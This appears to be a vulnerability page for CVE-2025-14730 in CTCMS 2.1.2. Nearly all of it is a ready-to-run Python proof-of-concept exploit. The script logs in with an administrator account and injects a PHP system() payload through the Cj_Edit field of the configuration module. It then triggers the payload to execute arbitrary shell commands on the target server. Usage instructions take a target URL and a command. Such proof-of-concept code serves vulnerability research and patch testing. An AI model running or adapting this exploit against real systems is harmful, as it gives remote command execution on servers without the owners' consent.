CVE-2025-14730 | CTCMS 2.1.2 代码注入漏洞

# CVE-2025-14730 PoC - CTCMS Code Injection # Target: CTCMS <= 2.1.2 # Attack Vector: Backend System Configuration Module import requests import sys from urllib.parse import quote def exploit_cve_2025_14730(target_url, username, password, cmd): """ Exploit for CVE-2025-14730: CTCMS Code Injection in Backend Configuration Module Args: target_url: Base URL of CTCMS installation username: High-privilege account username password: Account password cmd: Command to execute on the target system """ # Login to obtain session login_url = f"{target_url}/ctcms/index.php?mod=login" session = requests.Session() login_data = { 'username': username, 'password': password } try: # Step 1: Authenticate with high-privilege account response = session.post(login_url, data=login_data, timeout=10) if 'login' in response.url.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Access Backend Configuration Module config_url = f"{target_url}/ctcms/libs/Ct_Config.php" # Step 3: Inject malicious code via Cj_Edit parameter # PHP payload: system() function for command execution payload = f"'; system('{cmd}'); //" encoded_payload = quote(payload) exploit_data = { 'Cj_Edit': encoded_payload, 'module': 'backend_config', 'action': 'save' } response = session.post(config_url, data=exploit_data, timeout=10) # Step 4: Trigger the injected code trigger_url = f"{target_url}/ctcms/libs/Ct_Config.php?trigger=1" response = session.get(trigger_url, timeout=10) print(f"[+] Command executed: {cmd}") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit_cve_2025_14730(target, user, pwd, cmd)